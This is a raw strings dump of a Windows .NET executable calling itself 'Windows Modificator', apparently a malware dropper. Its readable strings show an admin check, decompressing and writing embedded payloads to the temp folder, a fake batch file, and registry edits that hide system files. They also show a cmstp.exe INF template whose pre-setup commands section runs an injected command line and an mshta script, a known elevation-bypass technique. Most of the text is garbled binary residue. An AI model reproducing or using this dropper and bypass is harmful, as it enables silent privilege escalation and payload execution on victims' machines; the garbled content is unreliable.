!This program cannot be run in DOS mode.
`.rsrc
@.reloc
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
]]U]]]]]
Ze]"$=V
>`v3aH
Q6ig%C
uaj_@Vx*
[agG9Z%
aN<pEs
2}Jsi,
|PT\0;
8oNgVLy2l
kAy9%G
6y7387B
G,/y/?
A^"@w_
XX(=bg
8]b{8:
]R{7}T
>3k>l>n
6t9]MCt
;A"v7}
L~$5Fk
f|FFjl
(>5x 3
<-xkE&
1u$32>R
k=&s/x0
MHGx$+6
+_~g|8
"'&'[9
V\rdd8
v4.0.30319
#Strings
<Module>
mscorlib
Microsoft.VisualBasic
MyApplication
MyComputer
MyProject
MyWebServices
ThreadSafeObjectProvider`1
Program
Microsoft.VisualBasic.ApplicationServices
ApplicationBase
Microsoft.VisualBasic.Devices
Computer
System
Object
.cctor
get_Computer
m_ComputerObjectProvider
get_Application
m_AppObjectProvider
get_User
m_UserObjectProvider
get_WebServices
m_MyWebServicesObjectProvider
Application
WebServices
Equals
GetHashCode
GetType
ToString
Create__Instance__
instance
Dispose__Instance__
get_GetInstance
m_ThreadStaticValue
GetInstance
CreateMutex
Decompress
GetTheResource
PostMessageW
wParam
lParam
FindWindowEx
parentHandle
childAfter
lclassName
windowTitle
user32
BinaryPath
SetInfFile
CommandToExecute
Execute
AdminCheck
System.Collections.Generic
List`1
System.Threading
_appMutex
System.ComponentModel
EditorBrowsableAttribute
EditorBrowsableState
System.CodeDom.Compiler
GeneratedCodeAttribute
System.Diagnostics
DebuggerHiddenAttribute
Microsoft.VisualBasic.CompilerServices
StandardModuleAttribute
HideModuleNameAttribute
System.ComponentModel.Design
HelpKeywordAttribute
System.Runtime.CompilerServices
RuntimeHelpers
GetObjectValue
RuntimeTypeHandle
GetTypeFromHandle
Activator
CreateInstance
MyGroupCollectionAttribute
System.Runtime.InteropServices
ComVisibleAttribute
ThreadStaticAttribute
CompilerGeneratedAttribute
Interaction
Environ
String
Concat
IEnumerable`1
Microsoft.Win32
RegistryKey
Exception
Thread
Environment
get_ExitCode
ServerComputer
Microsoft.VisualBasic.MyServices
RegistryProxy
get_Registry
get_CurrentUser
OpenSubKey
GetValue
Operators
ConditionalCompareObjectEqual
SetValue
ProjectData
SetProjectError
ClearProjectError
Enumerator
GetEnumerator
get_Current
Conversions
Strings
CompareMethod
ConcatenateObject
System.IO
Directory
Exists
DirectoryInfo
CreateDirectory
Convert
ToBoolean
WriteAllBytes
FileAttributes
SetAttributes
Process
Collect
MoveNext
IDisposable
Dispose
Replace
System.Windows.Forms
MessageBox
DialogResult
MessageBoxButtons
MessageBoxIcon
MemoryStream
Boolean
NewLateBinding
LateCall
ChangeType
BitConverter
ToInt32
Stream
System.IO.Compression
GZipStream
CompressionMode
SubtractObject
ToInteger
System.Reflection
Assembly
System.Resources
ResourceManager
GetExecutingAssembly
GetObject
Contains
AppDomain
get_CurrentDomain
get_BaseDirectory
ExpandEnvironmentVariables
System.Text
StringBuilder
GetRandomFileName
ToChar
Append
WriteAllText
ProcessStartInfo
GetCurrentProcess
ProcessModule
get_MainModule
get_FileName
set_Arguments
ProcessWindowStyle
set_WindowStyle
IntPtr
op_Explicit
System.Security.Principal
WindowsIdentity
GetCurrent
WindowsPrincipal
WindowsBuiltInRole
IsInRole
StreamWriter
GetTempFileName
TextWriter
WriteLine
get_StartupPath
get_ExecutablePath
GetFileName
GetTempPath
set_FileName
set_CreateNoWindow
set_ErrorDialog
set_UseShellExecute
STAThreadAttribute
DllImportAttribute
user32.dll
MarshalAsAttribute
UnmanagedType
ikiosfbywomf.Resources
CompilationRelaxationsAttribute
RuntimeCompatibilityAttribute
GuidAttribute
AssemblyFileVersionAttribute
AssemblyTrademarkAttribute
AssemblyCopyrightAttribute
AssemblyProductAttribute
AssemblyCompanyAttribute
AssemblyDescriptionAttribute
AssemblyTitleAttribute
Windows Modificator
Windows Modificator.exe
MyTemplate
14.0.0.0
My.Computer
My.Application
My.User
My.WebServices
4System.Web.Services.Protocols.SoapHttpClientProtocol
Create__Instance__
Dispose__Instance__
WrapNonExceptionThrows
$753cbffa-01fb-4183-82de-f50f29a4bf0e
1.0.0.0
_CorExeMain
mscoree.dll
wwwwwwwwwwwwwwwwwwwww
Se%ae`
cCBR_p
RRRRP%
CCCC@40`P@
cG?CCRRRRP`R
4qaCCRCCCB
pqacG%%apppppppaB
prRRRPa
wwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwww
se%%%%% R
u%6RRRRRPp
wwwwwwwwwwwwwww
wwwwwwwwp
wwwwwwww
!
((((&&(&&&(&(&&&&&&(((#&&###
*)))))))))))))))))))))
eIDATx
""""""""""""""""""""""""""""""""""""""""
'Px0&D
XXX8Pvh8v
],//cuu
n<DSbb
!KD4)#
NDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD
WindowsModificator.exe
fakecmd.bat
WinDir
\system32\cmstp.exe
WindowsModificator.exe|True|False|False|%Temp%|False|False|False
fakecmd.bat|True|False|False|%Temp%|False|False|False
PZ9MfxjDP8QL1vpTW
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
ShowSuperHidden
windows_health_service.warning
\vbNewLine
Windows
ikiosfbywomf
%Current%
REPLACE_COMMAND_LINE
"CorpVPN"
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
###REPLACE_COMMAND_LINE###
mshta vbscript:Execute(###CreateObject(####WScript.Shell####).Run ####taskkill /IM cmstp.exe /F####, 0, true:close###)
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]
##HKLM##, ##SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE##, ##ProfileInstallPath##, ##%UnexpectedError%##, ####
[Strings]
ServiceName=##CorpVPN##
ShortSvcName=##CorpVPN##
@echo off
timeout 3 > NUL
" /f /q
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
FileDescription
FileVersion
1.0.0.0
InternalName
Windows Modificator.exe
LegalCopyright
OriginalFilename
Windows Modificator.exe
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0